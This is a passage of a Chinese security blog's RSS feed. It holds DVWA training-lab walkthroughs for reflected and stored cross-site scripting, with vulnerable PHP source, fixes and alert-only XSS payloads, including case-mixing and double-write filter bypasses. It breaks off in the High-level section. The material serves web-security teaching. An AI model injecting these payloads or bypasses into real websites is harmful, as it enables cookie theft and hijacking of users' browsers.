</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">img</span> <span class="n">src</span><span class="o">=</span><span class="n">x</span> <span class="n">onerror</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">&gt;</span> <span class="err">这段代码是一种典型的跨站脚本攻击（</span><span class="n">XSS</span><span class="err">）示例，利用了</span><span class="n">HTML图像标签</span><span class="err">（</span><span class="o">&lt;</span><span class="n">img</span><span class="o">&gt;</span><span class="err">）的</span><span class="n">onerror事件来触发JavaScript代码执行</span><span class="err">。其工作原理如下：</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">图像标签（</span><span class="o">&lt;</span><span class="n">img</span><span class="o">&gt;</span><span class="err">）：此标签用于在网页中嵌入图片。正常情况下，</span><span class="n">src属性会指向一个图像文件的URL</span><span class="err">。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">src</span><span class="o">=</span><span class="n">x</span><span class="err">：这里的</span><span class="n">src属性被赋值为x</span><span class="err">，这是一个无效的图像</span><span class="n">URL</span><span class="err">。当浏览器尝试根据这个无效的</span><span class="n">URL加载图片时</span><span class="err">，自然找不到对应的资源，从而触发错误。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">onerror事件</span><span class="err">：这是</span><span class="n">HTML元素的一个事件属性</span><span class="err">，当指定的错误情况发生时（如图像加载失败），会执行紧跟在其后的</span><span class="n">JavaScript代码</span><span class="err">。在这个例子中，就是</span><span class="n">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="err">。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="err">：这是一个简单的</span><span class="n">JavaScript语句</span><span class="err">，用于弹出一个包含数字</span><span class="mi">1</span><span class="err">的警告框。在实际的</span><span class="n">XSS攻击中</span><span class="err">，这可能被替换为更复杂的恶意代码，用于盗取用户</span><span class="n">Cookie</span><span class="err">、重定向用户到恶意站点、执行恶意脚本等。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="mi">2</span><span class="err">、</span><span class="o">&lt;</span><span class="n">svg</span> <span class="n">onload</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">XSS</span><span class="o">/</span><span class="p">)</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="n">svg</span> <span class="n">onload</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="p">)</span><span class="o">&gt;</span> <span class="err">这段代码展示了另一种跨站脚本攻击（</span><span class="n">XSS</span><span class="err">）的载体，这次是利用</span><span class="n">SVG</span><span class="err">（可缩放矢量图形）元素的</span><span class="n">onload事件来触发JavaScript代码执行</span><span class="err">。其工作原理如下：</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">SVG元素</span><span class="err">：</span><span class="n">SVG是一种用于定义矢量图形的XML标记语言</span><span class="err">，可以直接嵌入到</span><span class="n">HTML文档中</span><span class="err">。与普通的</span><span class="n">HTML元素一样</span><span class="err">，</span><span class="n">SVG元素也支持事件处理器</span><span class="err">，如</span><span class="n">onload</span><span class="err">。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">onload事件</span><span class="err">：在</span><span class="n">SVG中</span><span class="err">，</span><span class="n">onload事件会在SVG文档或者图像加载完成后触发</span><span class="err">。与</span><span class="n">HTML的</span><span class="o">&lt;</span><span class="n">body</span> <span class="n">onload</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="o">&gt;</span><span class="err">类似，它提供了一个时机来执行指定的</span><span class="n">JavaScript代码</span><span class="err">。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="p">)</span><span class="err">：这里使用的</span><span class="n">JavaScript代码与之前的例子相似</span><span class="err">，目的是弹出一个警告框显示</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="err">。但这里的</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="err">实际上是正则表达式字面量，虽然作为</span><span class="n">alert函数的参数</span><span class="err">，它会被当作普通字符串显示，这不影响弹出警告框的效果，但表明攻击者可以嵌入更复杂的</span><span class="n">JavaScript逻辑</span><span class="err">，不仅仅是简单的字符串。</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">攻击原理：当这段</span><span class="n">SVG代码被嵌入到一个网页中</span><span class="err">，一旦</span><span class="n">SVG图形加载完成</span><span class="err">，</span><span class="n">onload事件就会触发</span><span class="err">，并执行</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="p">),</span> <span class="err">弹出一个包含</span><span class="o">/</span><span class="n">xss</span><span class="o">/</span><span class="err">的警告框。实质上，这揭示了网页对用户输入数据处理不当，允许执行恶意脚本的风险。攻击者可以利用这一点，不仅限于弹窗，还可以执行任何</span><span class="n">JavaScript代码</span><span class="err">，实现更深层次的攻击，如窃取用户数据、操控页面内容、发起进一步的攻击等。</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408566.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408566.png" 
             alt="image-20240425123935752" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="impossible">Impossible</h3>
<div class="highlight"><div class="chroma">
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;name&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="o">!=</span> <span class="k">NULL</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Check Anti-CSRF token
</span></span></span><span class="line"><span class="cl">    <span class="nx">checkToken</span><span class="p">(</span> <span class="nv">$_REQUEST</span><span class="p">[</span> <span class="s1">&#39;user_token&#39;</span> <span class="p">],</span> <span class="nv">$_SESSION</span><span class="p">[</span> <span class="s1">&#39;session_token&#39;</span> <span class="p">],</span> <span class="s1">&#39;index.php&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">    <span class="nv">$name</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">    <span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;Hello </span><span class="si">${</span><span class="nv">name</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Generate Anti-CSRF token
</span></span></span><span class="line"><span class="cl"><span class="nx">generateSessionToken</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>网络安全 DVWA通关指南 DVWA Stored Cross Site Scripting (存储型 XSS)</title>
      <link>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-stored-cross-site-scripting-%E5%AD%98%E5%82%A8%E5%9E%8B-xss/</link>
      <pubDate>Sun, 22 Sep 2024 12:21:39 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-stored-cross-site-scripting-%E5%AD%98%E5%82%A8%E5%9E%8B-xss/</guid>
      <description>&lt;h2 id=&#34;dvwastored-cross-site-scripting-存储型-xss&#34;&gt;DVWAStored Cross Site Scripting (存储型 XSS)&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510527.jpeg&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510527.jpeg&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考文献&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;WEB 安全靶场通关指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;xss跨站原理&#34;&gt;XSS跨站原理&lt;/h3&gt;
&lt;p&gt;当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="dvwastored-cross-site-scripting-存储型-xss">DVWAStored Cross Site Scripting (存储型 XSS)</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510527.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510527.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>参考文献</p>
<ul>
<li><a href="https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA"target="_blank" rel="noopener noreferrer">WEB 安全靶场通关指南</a></li>
</ul>
<hr>
<blockquote>
<h3 id="xss跨站原理">XSS跨站原理</h3>
<p>当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;</p>
<p>浏览器同源策略：只有发布Cookie的网站才能读取Cookie。</p>
<p>会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害</p>
<h4 id="存储型">存储型</h4>
<p>出现在留言、评论、博客日志等交互处，直接影响Web服务器自身安全</p>
</blockquote>
<h3 id="low">Low</h3>
<p>1、分析网页源代码</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;btnSign&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;mtxMessage&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$name</span>    <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;txtName&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//trim（去除首尾空白字符）
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize message input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">stripslashes</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$message</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Sanitize name input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$name</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Update database
</span></span></span><span class="line"><span class="cl">	<span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;INSERT INTO guestbook ( comment, name ) VALUES ( &#39;</span><span class="si">$message</span><span class="s2">&#39;, &#39;</span><span class="si">$name</span><span class="s2">&#39; );&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$query</span> <span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_error</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">:</span> <span class="p">((</span><span class="nv">$___mysqli_res</span> <span class="o">=</span> <span class="nx">mysqli_connect_error</span><span class="p">())</span> <span class="o">?</span> <span class="nv">$___mysqli_res</span> <span class="o">:</span> <span class="k">false</span><span class="p">))</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">//mysql_close();
</span></span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//输入一个名字和一段文本，然后网页会把把输入的信息加入到数据库中，同时服务器也会将服务器的内容回显到网页上。
</span></span></span><span class="line"><span class="cl"><span class="err">//没有经过适当的HTML实体编码（如使用htmlspecialchars），存在XSS风险。
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、前端代码对Name的长度有限制，在Message中输入payload</p>
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<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;script&gt;alert(/XSS/)&lt;/script&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510528.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510528.png" 
             alt="image-20240425131132813" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510529.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510529.png" 
             alt="image-20240425131249914" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>进入Home标签页，再回到XSS（Stored）页面，仍然可以成功，证明存储型XSS攻击成功</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510530.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510530.png" 
             alt="image-20240425131430407" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510531.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510531.png" 
             alt="image-20240425131343029" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>（如果需要删除数据库中存在的XSS代码，进入dvwa数据库中guestbook表，选择性删除数据。）</p>
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<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">mysql -uroot -proot
</span></span><span class="line"><span class="cl">use dvwa;
</span></span><span class="line"><span class="cl">select * from guestbook;
</span></span><span class="line"><span class="cl">delete from guestbook where comment_id=2;
</span></span></code></pre></td></tr></table>
</div>
</div><p><strong>解决方案：</strong></p>
<ul>
<li><strong>XSS防护</strong> ：在将用户输入的数据输出到网页前，应该使用 <code>htmlspecialchars</code> 函数（或类似的适当函数，依据上下文可能还包括其他措施）对数据进行转义，确保任何潜在的HTML标签和JavaScript代码被呈现为纯文本而非执行。</li>
</ul>
<p>修正示例：</p>
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<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="mi">1</span><span class="c1">// 假设从数据库获取数据后准备展示给用户
</span></span></span><span class="line"><span class="cl"><span class="mi">2</span><span class="nv">$safeMessage</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span><span class="nv">$retrievedMessage</span><span class="p">,</span> <span class="nx">ENT_QUOTES</span><span class="p">,</span> <span class="s1">&#39;UTF-8&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">3</span><span class="nv">$safeName</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span><span class="nv">$retrievedName</span><span class="p">,</span> <span class="nx">ENT_QUOTES</span><span class="p">,</span> <span class="s1">&#39;UTF-8&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="mi">5</span><span class="k">echo</span> <span class="s2">&#34;Comment: </span><span class="si">$safeMessage</span><span class="s2">&lt;br&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="mi">6</span><span class="k">echo</span> <span class="s2">&#34;Name: </span><span class="si">$safeName</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="medium">Medium</h3>
<p>1、分析网页源代码</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;btnSign&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">    <span class="nv">$message</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;mtxMessage&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$name</span>    <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;txtName&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Sanitize message input
</span></span></span><span class="line"><span class="cl">    <span class="nv">$message</span> <span class="o">=</span> <span class="nx">strip_tags</span><span class="p">(</span> <span class="nx">addslashes</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">)</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$message</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$message</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$message</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span> <span class="nv">$message</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">//htmlspecialchars()函数将特殊字符（如&lt;, &gt;, &amp;, &#34;, &#39;）转换为对应的HTML实体（如&amp;lt;, &amp;gt;, &amp;amp;, &amp;quot;, &amp;#039;），确保即使用户输入包含HTML或JavaScript代码，这些代码也会被浏览器解析为纯文本显示，而不是被执行。
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Sanitize name input
</span></span></span><span class="line"><span class="cl">    <span class="nv">$name</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">(</span> <span class="s1">&#39;&lt;script&gt;&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$name</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$name</span> <span class="o">=</span> <span class="p">((</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$name</span> <span class="p">)</span> <span class="o">:</span> <span class="p">((</span><span class="nx">trigger_error</span><span class="p">(</span><span class="s2">&#34;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&#34;</span><span class="p">,</span> <span class="nx">E_USER_ERROR</span><span class="p">))</span> <span class="o">?</span> <span class="s2">&#34;&#34;</span> <span class="o">:</span> <span class="s2">&#34;&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// Update database
</span></span></span><span class="line"><span class="cl">    <span class="nv">$query</span>  <span class="o">=</span> <span class="s2">&#34;INSERT INTO guestbook ( comment, name ) VALUES ( &#39;</span><span class="si">$message</span><span class="s2">&#39;, &#39;</span><span class="si">$name</span><span class="s2">&#39; );&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$result</span> <span class="o">=</span> <span class="nx">mysqli_query</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">],</span>  <span class="nv">$query</span> <span class="p">)</span> <span class="k">or</span> <span class="k">die</span><span class="p">(</span> <span class="s1">&#39;&lt;pre&gt;&#39;</span> <span class="o">.</span> <span class="p">((</span><span class="nx">is_object</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">]))</span> <span class="o">?</span> <span class="nx">mysqli_error</span><span class="p">(</span><span class="nv">$GLOBALS</span><span class="p">[</span><span class="s2">&#34;___mysqli_ston&#34;</span><span class="p">])</span> <span class="o">:</span> <span class="p">((</span><span class="nv">$___mysqli_res</span> <span class="o">=</span> <span class="nx">mysqli_connect_error</span><span class="p">())</span> <span class="o">?</span> <span class="nv">$___mysqli_res</span> <span class="o">:</span> <span class="k">false</span><span class="p">))</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">//mysql_close();
</span></span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//message参数对所有XSS都进行了过滤，但name参数只使用str_replace函数进行过滤，没有过滤大小写和双写
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、可以在Name参数输入Payload，因为存在长度限制，在开发者工具（按&quot;F12&quot;）修改对应的前端代码，就可以完整输入了</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;sCriPt&gt;alert(/XSS/)&lt;/ScripT&gt;
</span></span><span class="line"><span class="cl">//区分大小写
</span></span><span class="line"><span class="cl">&lt;scr&lt;script&gt;ipt&gt;alert(/XSS/)&lt;/script&gt;
</span></span><span class="line"><span class="cl">//双写绕过
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510532.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165510532.png" 
             alt="image-20240425134449055" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="high">High</h3>
<p>1、分析网页源代码</p>
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;btnSign&#39;</span> <span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$message</span> <span class="o">=</span> <span class="nx">trim</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span> <span class="s1">&#39;mtxMessage&#39;</span> <span class="p">]</span> <span class="p">);</span>
